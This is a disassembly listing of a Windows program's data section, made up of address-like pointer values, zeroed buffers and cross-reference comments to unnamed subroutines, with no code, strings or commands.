dword_4E300C	dd 77EBA6E9h		; DATA XREF: sub_409DD4+58w
					; sub_409DD4+CAr ...
dword_4E3010	dd 76D62A58h		; DATA XREF: sub_409DD4+934w
					; sub_413D05+11Ar
dword_4E3014	dd 76F36EAAh		; DATA XREF: sub_401CC7:loc_404110r
					; sub_409DD4+A95w ...
dword_4E3018	dd 77E802FCh		; DATA XREF: sub_409DD4+A6w
					; sub_409DD4+F2r ...
dword_4E301C	dd 77C75455h		; DATA XREF: sub_409DD4+480w
					; sub_409DD4+4D3r ...
dword_4E3020	dd 71AB12A7h		; DATA XREF: sub_409DD4+5F6w
					; sub_40C603+20r ...
dword_4E3024	dd 71C574FAh		; DATA XREF: sub_409DD4+9BEw
					; sub_409DD4+A33r
dword_4E3028	dd 71AB1746h		; DATA XREF: sub_409DD4+5E9w
					; sub_409DD4+754r ...
dword_4E302C	dd 71C21CA3h		; DATA XREF: sub_409DD4+A0Cw
dword_4E3030	dd 71B28D0Dh		; DATA XREF: sub_409DD4+B50w
dword_4E3034	dd 762211EFh		; DATA XREF: sub_409DD4+7FEw
					; sub_409DD4+86Dr
dword_4E3038	dd 77D902E3h		; DATA XREF: sub_409DD4+1B3w
					; sub_4190D4+15r
dword_4E303C	dd 71C2FA86h		; DATA XREF: sub_409DD4+997w
					; sub_409DD4+A1Br ...
dword_4E3040	dd 77DE1291h		; DATA XREF: sub_409DD4+38Cw
					; sub_409DD4+3D7r ...
dword_4E3044	dd 77E2C1B3h		; DATA XREF: sub_409DD4+399w
					; sub_409DD4+3DFr ...
dword_4E3048	dd 73B81E3Bh		; DATA XREF: sub_409DD4+C85w
					; sub_409DD4+C8Cr ...
dword_4E304C	dd 71ABF628h		; DATA XREF: sub_409DD4+6ACw
					; sub_411240+D0r
dword_4E3050	dd 71AB1836h		; DATA XREF: sub_401317+1Dr
					; sub_401317+23r ...
dword_4E3054	dd 77C72889h		; DATA XREF: sub_409DD4+4B4w
					; sub_415F1E+207r
dword_4E3058	dd 71C453F8h		; DATA XREF: sub_409DD4+9E5w
					; sub_409DD4+A4Br ...
dword_4E305C	dd 77DD5C55h		; DATA XREF: sub_401000+51r
					; sub_409DD4+2B2w ...
dword_4E3060	dd 77E96645h		; DATA XREF: sub_409DD4+7Fw
					; sub_409DD4+DAr ...
dword_4E3064	dd 77428B97h		; DATA XREF: sub_401CC7+5992r
					; sub_401CC7+7A8Ar ...
dword_4E3068	dd 71AB41DAh		; DATA XREF: WinMain(x,x,x,x)+8Cr
					; sub_401CC7+5198r ...
dword_4E306C	dd 762059A3h		; DATA XREF: sub_409DD4+825w
					; sub_409DD4+890r ...
dword_4E3070	dd 71C4A1B4h		; DATA XREF: sub_409DD4+9A4w
					; sub_409DD4+A23r
dword_4E3074	dd 1F7CD214h		; DATA XREF: sub_409DD4+C0Ew
					; sub_409DD4+C3Fr
dword_4E3078	dd 77E09134h		; DATA XREF: sub_409DD4+2CCw
					; sub_41927E+47r
dword_4E307C	dd 77D4456Bh		; DATA XREF: sub_409DD4+22Dw
					; sub_412775+40r ...
dword_4E3080	dd 76D629BBh		; DATA XREF: sub_409DD4+91Aw
					; sub_409DD4+92Er ...
dword_4E3084	dd 1F7B9D96h		; DATA XREF: sub_409DD4+C28w
dword_4E3088	dd 77E09070h		; DATA XREF: sub_409DD4+2D9w
					; sub_41927E+4Fr
dword_4E308C	dd 71AB1740h		; DATA XREF: sub_409DD4+574w
					; sub_409DD4+6E8r ...
dword_4E3090	dd 7620AFB6h		; DATA XREF: sub_409DD4+83Fw
					; sub_409DD4+873r
dword_4E3094	dd 77D5C13Ah		; DATA XREF: sub_409DD4+220w
					; sub_409DD4+23Cr ...
dword_4E3098	dd 77D45B19h		; DATA XREF: sub_409DD4+172w
					; sub_409DD4+1C2r ...
dword_4E309C	dd 71AB157Eh		; DATA XREF: sub_401CC7+1E21r
					; sub_401CC7+5B48r ...
dword_4E30A0	dd 71AB3E5Dh		; DATA XREF: sub_4019E7+C4r
					; sub_401CC7+5222r ...
dword_4E30A4	dd 71AB14DCh		; DATA XREF: sub_409DD4+567w
					; sub_409DD4+6DCr ...
dword_4E30A8	dd 0CC0004h		; DATA XREF: sub_409DD4+8DBw
					; sub_409DD4:loc_40A6CDw ...
dword_4E30AC	dd 77DD590Bh		; DATA XREF: sub_401000+26r
					; sub_409DD4+28Bw ...
dword_4E30B0	dd 71ABD755h		; DATA XREF: sub_401CC7+7A0Fr
					; sub_409DD4+69Fw ...
dword_4E30B4	dd 77DF7311h		; DATA XREF: sub_409DD4+32Dw
					; sub_409DD4+341r ...
dword_4E30B8	dd 77DDA2AFh		; DATA XREF: sub_409DD4+3B3w
					; sub_409DD4+3EFr ...
dword_4E30BC	dd 1F7CD927h		; DATA XREF: sub_409DD4+C01w
					; sub_409DD4+C37r
dword_4E30C0	dd 76206853h		; DATA XREF: sub_409DD4+818w
					; sub_409DD4+888r ...
dword_4E30C4	dd 77D4932Ch		; DATA XREF: sub_409DD4+206w
					; sub_409DD4+227r ...
dword_4E30C8	dd 77D5E310h		; DATA XREF: sub_409DD4+18Cw
					; sub_409DD4+1D2r ...
dword_4E30CC	dd 76206B7Fh		; DATA XREF: sub_409DD4+832w
					; sub_409DD4+898r ...
dword_4E30D0	dd 71AB1444h		; DATA XREF: sub_409DD4+624w
					; sub_409DD4+774r ...
dword_4E30D4	dd 77DD189Ah		; DATA XREF: sub_401000+5Ar
					; sub_409DD4+2BFw ...
dword_4E30D8	dd 71AB3F8Dh		; DATA XREF: sub_409DD4+66Bw
					; sub_409DD4+79Cr ...
dword_4E30DC	dd 77DD5D20h		; DATA XREF: sub_409DD4+320w
					; sub_409DD4+334r ...
dword_4E30E0	dd 71AB1890h		; DATA XREF: sub_409DD4+644w
					; sub_409DD4+784r ...
dword_4E30E4	dd 77C76B34h		; DATA XREF: sub_409DD4+44Cw
					; sub_409DD4+4AEr ...
dword_4E30E8	dd 77D5E38Ch		; DATA XREF: sub_409DD4+199w
					; sub_409DD4+1DAr ...
dword_4E30EC	dd 77DDA20Bh		; DATA XREF: sub_409DD4+365w
					; sub_409DD4+3BAr ...
dword_4E30F0	dd 76F36EEBh		; DATA XREF: sub_409DD4+AA2w
dword_4E30F4	dd 71AB12A7h		; DATA XREF: sub_409DD4+5DCw
					; sub_409DD4+748r ...
dword_4E30F8	dd 71AB1746h		; DATA XREF: sub_4019E7+3Er
					; sub_401CC7+51D4r ...
dword_4E30FC	dd 77EBA595h		; DATA XREF: sub_409DD4+4Bw
					; sub_409DD4+C2r ...
dword_4E3100	dd 77C7531Dh		; DATA XREF: sub_409DD4+473w
					; sub_409DD4+4CBr ...
dword_4E3104	dd 77D4BDCAh		; DATA XREF: sub_409DD4+165w
					; sub_409DD4+1BAr ...
dword_4E3108	dd 71C3516Ah		; DATA XREF: sub_409DD4+9FFw
					; sub_409DD4+A5Br ...
dword_4E310C	dd 71AB32CAh		; DATA XREF: sub_409DD4+685w
					; sub_409DD4+7ACr ...
dword_4E3110	dd 71AB5690h		; DATA XREF: sub_401B4F+D1r
					; sub_401CC7+5237r ...
dword_4E3114	dd 1F7CB8F8h		; DATA XREF: sub_409DD4+C1Bw
					; sub_409DD4+C47r
dword_4E3118	dd 77EBB1E7h		; DATA XREF: sub_409DD4+3Ew
					; sub_409DD4+BAr ...
dword_4E311C	dd 77DD59F0h		; DATA XREF: sub_401000+45r
					; sub_409DD4+298w ...
dword_4E3120	dd 71AB5DE2h		; DATA XREF: sub_409DD4+651w
					; sub_409DD4+78Cr ...
dword_4E3124	dd 71AB3ECEh		; DATA XREF: sub_409DD4+637w
					; sub_409DD4+77Cr ...
dword_4E3128	dd 73B81B0Fh		; DATA XREF: sub_401CC7+7462r
					; sub_409DD4+C92w
dword_4E312C	dd 76204E4Dh		; DATA XREF: sub_409DD4+879w
					; sub_416F62+4DCr ...
dword_4E3130	dd 0			; DATA XREF: sub_409DD4+112w
dword_4E3134	dd 1F7D886Ah		; DATA XREF: sub_409DD4+BE7w
					; sub_409DD4+C22r
dword_4E3138	dd 71AB12F8h		; DATA XREF: sub_401CC7+2FDEr
					; sub_401CC7+6019r ...
dword_4E313C	dd 77C76551h		; DATA XREF: sub_409DD4+459w
					; sub_409DD4+4BBr ...
dword_4E3140	dd 77C729E2h		; DATA XREF: sub_409DD4+49Aw
					; sub_409DD4+4E3r ...
dword_4E3144	dd 77C7212Fh		; DATA XREF: sub_409DD4+466w
					; sub_409DD4+4C3r ...
dword_4E3148	dd 71AB1AF4h		; DATA XREF: sub_401B4F+89r
					; sub_401CC7+5254r ...
dword_4E314C	dd 77D5E303h		; DATA XREF: sub_409DD4+1A6w
					; sub_409DD4+1E2r ...
dword_4E3150	dd 71C4576Ch		; DATA XREF: sub_409DD4+9F2w
					; sub_409DD4+A53r ...
dword_4E3154	dd 77D4702Fh		; DATA XREF: sub_409DD4+158w
					; sub_409DD4+1ADr ...
dword_4E3158	dd 77E6C0E3h		; DATA XREF: sub_409DD4+8Cw
					; sub_409DD4+E2r ...
dword_4E315C	dd 71AB1ED3h		; DATA XREF: sub_409DD4+610w
					; sub_409DD4+764r ...
dword_4E3160	dd 71B2A381h		; DATA XREF: sub_409DD4+B43w
					; sub_409DD4+B5Fr
dword_4E3164	dd 77DDA595h		; DATA XREF: sub_409DD4+33Aw
					; sub_41A51E+55r
dword_4E3168	dd 77DD22EAh		; DATA XREF: sub_409DD4+27Ew
					; sub_409DD4+2D3r ...
dword_4E316C	dd 773F97B0h		; DATA XREF: sub_409DD4+BAAw
dword_4E3170	dd 76D67A29h		; DATA XREF: sub_409DD4+AECw
					; sub_40AE8D+D4r
dword_4E3174	dd 76D674FAh		; DATA XREF: sub_409DD4+ADFw
					; sub_409DD4+AE6r ...
dword_4E3178	dd 71AB3C22h		; DATA XREF: sub_4019E7+A6r
					; sub_401CC7+51B3r ...
dword_4E317C	dd 71AB2BBFh		; DATA XREF: sub_401CC7+51A5r
					; sub_401CC7+7A36r ...
dword_4E3180	dd 1F7BA3A9h		; DATA XREF: sub_409DD4+BF4w
					; sub_409DD4+C2Fr
dword_4E3184	dd 71AB401Ch		; DATA XREF: sub_401CC7+1E47r
					; sub_401CC7+5B6Er ...
dword_4E3188	dd 71C214BAh		; DATA XREF: sub_409DD4+9B1w
					; sub_409DD4+A2Br ...
dword_4E318C	dd 71AB868Dh		; DATA XREF: sub_409DD4+65Ew
					; sub_409DD4+794r ...
dword_4E3190	dd 71AB1A6Dh		; DATA XREF: sub_401317+12r
					; sub_4019E7+D0r ...
dword_4E3194	dd 71AB155Ah		; DATA XREF: sub_409DD4+59Bw
					; sub_409DD4+70Cr ...
dword_4E3198	dd 71B22C25h		; DATA XREF: sub_409DD4+B36w
					; sub_409DD4+B57r
dword_4E319C	dd 71AB5A01h		; DATA XREF: sub_409DD4+540w
					; sub_409DD4+6C4r ...
dword_4E31A0	dd 71B2ACCBh		; DATA XREF: sub_409DD4+B29w
					; sub_409DD4+B4Ar
dword_4E31A4	dd 77E78C17h		; DATA XREF: WinMain(x,x,x,x)+52r
					; sub_409DD4+31w ...
dword_4E31A8	dd 77D49A11h		; DATA XREF: sub_409DD4+17Fw
					; sub_409DD4+1CAr ...
		align 10h
dword_4E31B0	dd 76D62A37h		; DATA XREF: sub_409DD4+927w
					; sub_409DD4+93Br ...
dword_4E31B4	dd 77E6CBF9h		; DATA XREF: sub_409DD4+99w
					; sub_409DD4+EAr ...
dword_4E31B8	dd 0			; DATA XREF: sub_409DD4:loc_409ED2w
					; sub_409DD4+12Bw ...
dword_4E31BC	dd 0			; DATA XREF: sub_409DD4+126w
					; sub_40AA90+1Cr
dword_4E31C0	dd 0			; DATA XREF: sub_409DD4:loc_409FC2w
					; sub_409DD4:loc_40A029w ...
dword_4E31C4	dd 0			; DATA XREF: sub_409DD4+250w
					; sub_40AA90+50r
dword_4E31C8	dd 0			; DATA XREF: WinMain(x,x,x,x)+349r
					; sub_401CC7+455Fr ...
dword_4E31CC	dd 0			; DATA XREF: sub_409DD4+41Ew
					; sub_40AA90+84r
dword_4E31D0	dd 0			; DATA XREF: sub_409DD4:loc_40A2D8w
					; sub_40AA90:loc_40AB40r
dword_4E31D4	dd 0			; DATA XREF: sub_409DD4+4FFw
					; sub_40AA90+B8r
dword_4E31D8	dd 0			; DATA XREF: sub_409DD4:loc_40A5A9w
					; sub_40AA90:loc_40AB74r
dword_4E31DC	dd 0			; DATA XREF: sub_409DD4+7D0w
					; sub_40AA90+ECr
dword_4E31E0	dd 0			; DATA XREF: sub_409DD4:loc_40A694w
					; sub_409DD4+8EFw ...
dword_4E31E4	dd 0			; DATA XREF: sub_409DD4+8EAw
					; sub_40AA90+120r
dword_4E31E8	dd 0			; DATA XREF: sub_401CC7:loc_407192r
					; sub_409DD4:loc_40A728w ...
dword_4E31EC	dd 0			; DATA XREF: sub_409DD4+94Fw
					; sub_40AA90+154r
dword_4E31F0	dd 0			; DATA XREF: sub_401CC7+4567r
					; sub_409DD4:loc_40A844w ...
dword_4E31F4	dd 0			; DATA XREF: sub_409DD4+A6Bw
					; sub_40AA90+188r
dword_4E31F8	dd 0			; DATA XREF: sub_409DD4:loc_40A88Ew
					; sub_40AA90:loc_40AC44r
dword_4E31FC	dd 0			; DATA XREF: sub_409DD4+AB5w
					; sub_40AA90+1BCr
dword_4E3200	dd 0			; DATA XREF: sub_409DD4:loc_40A8D8w
					; sub_40AA90:loc_40AC78r
dword_4E3204	dd 0			; DATA XREF: sub_409DD4+AFFw
					; sub_40AA90+1F0r
dword_4E3208	dd 0			; DATA XREF: sub_409DD4:loc_40A94Cw
					; sub_40AA90:loc_40ACACr
dword_4E320C	dd 0			; DATA XREF: sub_409DD4+B73w
					; sub_40AA90+224r
dword_4E3210	dd 0			; DATA XREF: sub_409DD4:loc_40A996w
					; sub_40AA90:loc_40ACE0r
dword_4E3214	dd 0			; DATA XREF: sub_409DD4+BBDw
					; sub_40AA90+258r
dword_4E3218	dd 0			; DATA XREF: sub_409DD4:loc_40AA34w
					; sub_40AA90:loc_40AD14r
dword_4E321C	dd 0			; DATA XREF: sub_409DD4+C5Bw
					; sub_40AA90+28Cr
dword_4E3220	dd 0			; DATA XREF: sub_409DD4:loc_40AA7Ew
					; sub_40AA90:loc_40AD48r
dword_4E3224	dd 0			; DATA XREF: sub_409DD4+CA5w
					; sub_40AA90+2C0r
; char byte_4E3228[]
byte_4E3228	db 14h dup(0)		; DATA XREF: sub_40AF71+32o
dword_4E323C	dd 2 dup(0)		; DATA XREF: .text:0040ADCCo
dword_4E3244	dd 0			; DATA XREF: sub_40B29D+12o
dword_4E3248	dd 0			; DATA XREF: sub_40B3A7+33o
dword_4E324C	dd 0			; DATA XREF: sub_40B3A7+63o
byte_4E3250	db 0			; DATA XREF: sub_40B64F+6Ar
					; sub_40B64F+98w
		align 8
dword_4E3258	dd 0			; DATA XREF: sub_40C0B6+18r
					; sub_40C603+9o ...
dword_4E325C	dd 0			; DATA XREF: sub_40C951+4Dr
					; sub_40CB69+D9w ...
		dd 3B8h	dup(0)
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: .data:004548BCo
		dd 2 dup(0)
dword_4E414C	dd 0			; DATA XREF: .data:off_4517C8o
dword_4E4150	dd 101h	dup(0)		; DATA XREF: .data:00454998o
		db 2 dup(0)
word_4E4556	dw 0			; DATA XREF: .data:00454A1Co
		dd 0BAh	dup(0)
		db 3 dup(0)
byte_4E4843	db 0			; DATA XREF: .data:00454B8Co
					; .data:00454BCCo ...
		dd 40h dup(0)
		db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .data:004546FCo
					; .data:00454704o
		dd 181h	dup(0)
		db 2 dup(0)
word_4E4F4E	dw 0			; DATA XREF: .data:00454D6Co
		dd 0C2h	dup(0)
dword_4E5258	dd 6 dup(0)		; DATA XREF: sub_40C951+D2o
					; sub_40C951+13Bo ...
dword_4E5270	dd 0			; DATA XREF: sub_40C12D+2C4w
					; sub_40C12D+348o
dword_4E5274	dd 0			; DATA XREF: sub_40C12D+33Ew
					; sub_40C12D+35Ar
dword_4E5278	dd 0			; DATA XREF: sub_40C12D+2CFw
dword_4E527C	dd 0			; DATA XREF: sub_40C12D+2B9w
					; sub_40C12D:loc_40C442r
; char byte_4E5280[]
byte_4E5280	db 80h dup(0)		; DATA XREF: sub_40C12D+2E2o
					; sub_40C12D+302o
dword_4E5300	dd 0			; DATA XREF: sub_40C12D+2D5w
dword_4E5304	dd 0			; DATA XREF: sub_40C12D+2EFw
					; sub_40C12D+30Fw
dword_4E5308	dd 0			; DATA XREF: sub_40C12D:loc_40C49Dr
		align 10h
dword_4E5310	dd 0			; DATA XREF: sub_40C12D+82w
					; sub_40C12D+101o
dword_4E5314	dd 0Ch dup(0)		; DATA XREF: sub_40C12D+41o
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .data:00454888o
					; .data:00454DD4o
		dd 34h dup(0)
; char byte_4E5418[]
byte_4E5418	db 104h	dup(0)		; DATA XREF: sub_40C12D+69o
dword_4E551C	dd 0			; DATA XREF: sub_40C12D+F7w
					; sub_40C12D+113r
dword_4E5520	dd 0			; DATA XREF: sub_40C12D+52w
dword_4E5524	dd 0			; DATA XREF: sub_40C12D+4Dw
					; sub_40C12D+D4r
; char byte_4E5528[]
byte_4E5528	db 80h dup(0)		; DATA XREF: sub_40C12D+9Ao
					; sub_40C12D+BAo
dword_4E55A8	dd 0			; DATA XREF: sub_40C12D+8Fw
dword_4E55AC	dd 0			; DATA XREF: sub_40C12D+A7w
					; sub_40C12D+C7w
dword_4E55B0	dd 0			; DATA XREF: sub_40C12D:loc_40C256r
		align 8
dword_4E55B8	dd 0			; DATA XREF: sub_40C12D+1A5w
					; sub_40C12D+225o
dword_4E55BC	dd 41h dup(0)		; DATA XREF: sub_40C12D+167o
; char byte_4E56C0[]
byte_4E56C0	db 104h	dup(0)		; DATA XREF: sub_40C12D+18Co
dword_4E57C4	dd 0			; DATA XREF: sub_40C12D+21Bw
					; sub_40C12D+237r
dword_4E57C8	dd 0			; DATA XREF: sub_40C12D+17Aw
dword_4E57CC	dd 0			; DATA XREF: sub_40C12D+175w
					; sub_40C12D+1F8r
; char byte_4E57D0[]
byte_4E57D0	db 80h dup(0)		; DATA XREF: sub_40C12D+1BEo
					; sub_40C12D+1DEo
dword_4E5850	dd 0			; DATA XREF: sub_40C12D+1B1w
dword_4E5854	dd 0			; DATA XREF: sub_40C12D+1CBw
					; sub_40C12D+1EBw
dword_4E5858	dd 0			; DATA XREF: sub_40C12D:loc_40C37Ar
		align 10h
dword_4E5860	dd 0			; DATA XREF: sub_40C12D+417w
					; sub_40C12D+470o
; char byte_4E5864[]
byte_4E5864	db 288h	dup(0)		; DATA XREF: sub_40C12D+405o
; char byte_4E5AEC[]
byte_4E5AEC	db 104h	dup(0)		; DATA XREF: sub_40C12D+3CFo
dword_4E5BF0	dd 0			; DATA XREF: sub_40C12D+3FCw
					; sub_40C12D+423r
		align 8
dword_4E5BF8	dd 0			; DATA XREF: sub_40C12D+466w
					; sub_40C12D+482r
dword_4E5BFC	dd 0			; DATA XREF: sub_40C12D+429w
dword_4E5C00	dd 0			; DATA XREF: sub_40C12D+436w
dword_4E5C04	dd 0			; DATA XREF: sub_40C12D+3F6w
		dd 0
dword_4E5C0C	dd 0			; DATA XREF: sub_40C12D:loc_40C5C5r
		dd 0
dword_4E5C14	dd 0			; DATA XREF: sub_40BD79+Er
					; sub_40BD79+32r ...
dword_4E5C18	dd 0			; DATA XREF: sub_40BD79+9r
					; sub_40BD79+26r ...
; char byte_4E5C1C[]
byte_4E5C1C	db 208h	dup(0)		; DATA XREF: sub_40CDC8+8Do
dword_4E5E24	dd 2 dup(0)		; DATA XREF: sub_40D75F+68o
dword_4E5E2C	dd 0			; DATA XREF: sub_40D1FF+13o
dword_4E5E30	dd 0			; DATA XREF: sub_40DA4E+10o
dword_4E5E34	dd 2080Ah		; DATA XREF: sub_40E2CB+8w
					; sub_40E3C7+2D6o
		dd 0
dword_4E5E3C	dd 0			; DATA XREF: sub_40E3C7+64o
dword_4E5E40	dd 0			; DATA XREF: sub_40E3C7+69o
dword_4E5E44	dd 3 dup(0)		; DATA XREF: sub_40E3C7+20Co
dword_4E5E50	dd 0			; DATA XREF: sub_40EC5E+148o
dword_4E5E54	dd 0			; DATA XREF: sub_40EF29+1Fr
					; sub_40EF74+BCo ...
dword_4E5E58	dd 0			; DATA XREF: sub_40EF74+B7o
					; sub_40EF74+DAr ...
dword_4E5E5C	dd 0			; DATA XREF: sub_40EF74+9Ao
					; sub_40EF74+CFr ...
dword_4E5E60	dd 0			; DATA XREF: sub_40EEE6+35r
					; sub_40EF74+95o ...
dword_4E5E64	dd 0			; DATA XREF: sub_40EEE6+17r
					; sub_40EF29+3Dr ...
		dd 0
dword_4E5E6C	dd 2AE3h		; DATA XREF: sub_40C12D+2AEr
					; sub_40F149+10w ...
		dd 0
dword_4E5E74	dd 0			; DATA XREF: sub_40BDE5+1Cr
					; sub_40F160+27Cw
dword_4E5E78	dd 0			; DATA XREF: sub_40FA39+2Aw
					; sub_40FA39+51r ...
		dd 3 dup(0)
dword_4E5E88	dd 3 dup(0)		; DATA XREF: sub_410B5C+74o
dword_4E5E94	dd 0			; DATA XREF: sub_411240+146r
		dd 0
dword_4E5E9C	dd 2 dup(0)		; DATA XREF: sub_411240+139o
byte_4E5EA4	db 0			; DATA XREF: sub_412217+1EFr
		align 4
dword_4E5EA8	dd 0			; DATA XREF: sub_412DD2+4w
					; sub_412DD2+9o
		align 10h
byte_4E5EB0	db 0			; DATA XREF: sub_41391E+1D3w
					; sub_41391E+2D2o
		align 2
word_4E5EB2	dw 0			; DATA XREF: sub_41391E+1E3w
word_4E5EB4	dw 0			; DATA XREF: sub_41391E+1E9w
word_4E5EB6	dw 0			; DATA XREF: sub_41391E+1F0w
byte_4E5EB8	db 0			; DATA XREF: sub_41391E+1F7w
byte_4E5EB9	db 0			; DATA XREF: sub_41391E+1FEw
word_4E5EBA	dw 0			; DATA XREF: sub_41391E+204w
dword_4E5EBC	dd 0			; DATA XREF: sub_41391E+234w
					; sub_41391E+250w
dword_4E5EC0	dd 0			; DATA XREF: sub_41391E+258w
byte_4E5EC4	db 0			; DATA XREF: sub_41391E+26Aw
byte_4E5EC5	db 0			; DATA XREF: sub_41391E+27Dw
word_4E5EC6	dw 0			; DATA XREF: sub_41391E+295w
word_4E5EC8	dw 0			; DATA XREF: sub_41391E+2A4w
word_4E5ECA	dw 0			; DATA XREF: sub_41391E+29Cw
dword_4E5ECC	dd 101h	dup(0)		; DATA XREF: sub_41391E+2B9o
; char byte_4E62D0[]
byte_4E62D0	db 200h	dup(0)		; DATA XREF: sub_401CC7+2F63o
					; sub_401CC7:loc_404CB8o ...
byte_4E64D0	db 0			; DATA XREF: sub_4151C6+1A1w
					; sub_4151C6+27Ao
		align 2
word_4E64D2	dw 0			; DATA XREF: sub_4151C6+1AEw
word_4E64D4	dw 0			; DATA XREF: sub_4151C6+1B8w
word_4E64D6	dw 0			; DATA XREF: sub_4151C6+1C1w
byte_4E64D8	db 0			; DATA XREF: sub_4151C6+1C8w
byte_4E64D9	db 0			; DATA XREF: sub_4151C6+1CFw
word_4E64DA	dw 0			; DATA XREF: sub_4151C6+1D6w
dword_4E64DC	dd 0			; DATA XREF: sub_4151C6+1E3w
dword_4E64E0	dd 0			; DATA XREF: sub_4151C6+1EBw
word_4E64E4	dw 0			; DATA XREF: sub_4151C6+244w
word_4E64E6	dw 0			; DATA XREF: sub_4151C6+22Cw
word_4E64E8	dw 0			; DATA XREF: sub_4151C6+256w
word_4E64EA	dw 0			; DATA XREF: sub_4151C6+1F7w
dword_4E64EC	dd 101h	dup(0)		; DATA XREF: sub_4151C6+265o
dword_4E68F0	dd 0			; DATA XREF: sub_401CC7+1A14w
					; sub_401CC7+2F5Br ...
		align 10h
byte_4E6900	db 0			; DATA XREF: sub_4156AF+244o
					; sub_4156AF+253w ...
byte_4E6901	db 0			; DATA XREF: sub_4156AF+267w
word_4E6902	dw 0			; DATA XREF: sub_4156AF+298w
word_4E6904	dw 0			; DATA XREF: sub_4156AF+27Fw
					; sub_4156AF:loc_415A75w
word_4E6906	dw 0			; DATA XREF: sub_4156AF+29Ew
byte_4E6908	db 0			; DATA XREF: sub_4156AF+28Bw
byte_4E6909	db 0			; DATA XREF: sub_4156AF+260w
word_4E690A	dw 0			; DATA XREF: sub_4156AF+3E6w
					; sub_4156AF+410w
dword_4E690C	dd 0			; DATA XREF: sub_4156AF:loc_41596Cw
					; sub_4156AF+38Er
dword_4E6910	dd 0			; DATA XREF: sub_4156AF+2CAw
word_4E6914	dw 0			; DATA XREF: sub_4156AF+388w
					; sub_4156AF+3DCo
word_4E6916	dw 0			; DATA XREF: sub_4156AF+329w
					; sub_4156AF+34Er ...
dword_4E6918	dd 0			; DATA XREF: sub_4156AF+300w
					; sub_4156AF+3CDw
dword_4E691C	dd 0			; DATA XREF: sub_4156AF+31Cw
					; sub_4156AF+39Fw ...
byte_4E6920	db 0			; DATA XREF: sub_4156AF+305r
					; sub_4156AF+313w
byte_4E6921	db 0			; DATA XREF: sub_4156AF+2CFw
					; sub_4156AF+398w ...
word_4E6922	dw 0			; DATA XREF: sub_4156AF+2DDw
word_4E6924	dw 0			; DATA XREF: sub_4156AF+3EDw
					; sub_4156AF+41Ew
word_4E6926	dw 0			; DATA XREF: sub_4156AF+322w
word_4E6928	dw 0			; DATA XREF: sub_4156AF+354w
					; sub_4156AF+426o
word_4E692A	dw 0			; DATA XREF: sub_4156AF+363w
					; sub_4156AF+3FDw
dword_4E692C	dd 0			; DATA XREF: sub_4156AF+35Dw
		dd 2 dup(0)
dword_4E6938	dd 0			; DATA XREF: sub_4156AF+393w
					; sub_4156AF+40Bo
dword_4E693C	dd 0			; DATA XREF: sub_4156AF+32Fw
byte_4E6940	db 0			; DATA XREF: sub_4156AF+335w
byte_4E6941	db 0			; DATA XREF: sub_4156AF+33Bw
word_4E6942	dw 0			; DATA XREF: sub_4156AF+348w
dword_4E6944	dd 7 dup(0)		; DATA XREF: sub_4156AF+3E1o
dword_4E6960	dd 0			; DATA XREF: sub_4156AF+30w
					; sub_4156AF+42Fr
; char byte_4E6964[]
byte_4E6964	db 404h	dup(0)		; DATA XREF: sub_4156AF+1C0o
					; sub_4156AF+472o
; char byte_4E6D68[]
byte_4E6D68	db 4000h dup(0)		; DATA XREF: sub_415C3F+1Do
					; .text:00415D29o ...
; char byte_4EAD68[]
byte_4EAD68	db 4 dup(0)		; DATA XREF: sub_415C3F+13o
					; .text:00415D70o ...
dword_4EAD6C	dd 0			; DATA XREF: sub_416159+Fr
					; sub_416352+12r
		dd 2 dup(0)
dword_4EAD78	dd 0			; DATA XREF: .data:0044D448o
dword_4EAD7C	dd 0			; DATA XREF: .data:0044D460o
dword_4EAD80	dd 0			; DATA XREF: .data:0044D478o
dword_4EAD84	dd 0			; DATA XREF: .data:0044D490o
dword_4EAD88	dd 0			; DATA XREF: .data:0044D4A8o
dword_4EAD8C	dd 0			; DATA XREF: .data:0044D4C0o
dword_4EAD90	dd 0			; DATA XREF: .data:0044D4D8o
dword_4EAD94	dd 0			; DATA XREF: .data:0044D4F0o
dword_4EAD98	dd 0			; DATA XREF: .data:0044D508o
dword_4EAD9C	dd 0			; DATA XREF: .data:0044D520o
dword_4EADA0	dd 0			; DATA XREF: .data:0044D538o
dword_4EADA4	dd 0			; DATA XREF: .data:0044D550o
dword_4EADA8	dd 0			; DATA XREF: .data:0044D568o
dword_4EADAC	dd 0			; DATA XREF: .data:0044D598o
dword_4EADB0	dd 0			; DATA XREF: .data:0044D5B0o
dword_4EADB4	dd 0			; DATA XREF: .data:0044D5C8o
dword_4EADB8	dd 0			; DATA XREF: .data:0044D5E0o
dword_4EADBC	dd 0			; DATA XREF: .data:0044D5F8o
dword_4EADC0	dd 0			; DATA XREF: .data:0044D610o
dword_4EADC4	dd 0			; DATA XREF: .data:0044D628o
dword_4EADC8	dd 2 dup(0)		; DATA XREF: .data:0044D640o
dword_4EADD0	dd 2 dup(0)		; DATA XREF: sub_4167BF:loc_416852o
dword_4EADD8	dd 0			; DATA XREF: sub_416F62+431o
dword_4EADDC	dd 0Eh dup(0)		; DATA XREF: sub_41748B+Fo
; char byte_4EAE14[]
byte_4EAE14	db 200h	dup(0)		; DATA XREF: sub_41815A+41o
; wchar_t word_4EB014
word_4EB014	dw 0			; DATA XREF: sub_417A8B+C7o
					; sub_417DE6+DDo ...
		align 4
		dd 1FFh	dup(0)
; wchar_t word_4EB814
word_4EB814	dw 0			; DATA XREF: sub_417A8B+D6o
					; sub_417DE6+F4o ...
		align 4
		dd 1FFh	dup(0)
dword_4EC014	dd 0			; DATA XREF: sub_417A8B+86w
					; sub_417C5D+94r
dword_4EC018	dd 0			; DATA XREF: sub_417A8B+A7w
					; sub_4180C3+55r ...
dword_4EC01C	dd 0			; DATA XREF: sub_417A8B+A0w
					; sub_417C5D+D6r ...
dword_4EC020	dd 0			; DATA XREF: sub_417A8B+79w
					; sub_417C5D+35r ...
; char byte_4EC024[]
byte_4EC024	db 200h	dup(0)		; DATA XREF: sub_4180C3+5Eo
dword_4EC224	dd 0			; DATA XREF: sub_417A8B+93w
					; sub_417C5D+A2r
		dd 0
dword_4EC22C	dd 0			; DATA XREF: sub_417A8B+E7o
					; sub_417A8B+103r ...
dword_4EC230	dd 0			; DATA XREF: sub_417DE6+17Bw
					; sub_417F8D+107w
; void *Src
Src		dd 0			; DATA XREF: sub_417DE6+180w
					; sub_417F8D+10Dw ...
dword_4EC238	dd 0			; DATA XREF: sub_417DE6+159w
					; sub_4180C3+4Fr
		align 10h
dword_4EC240	dd 0			; DATA XREF: sub_41842D+22w
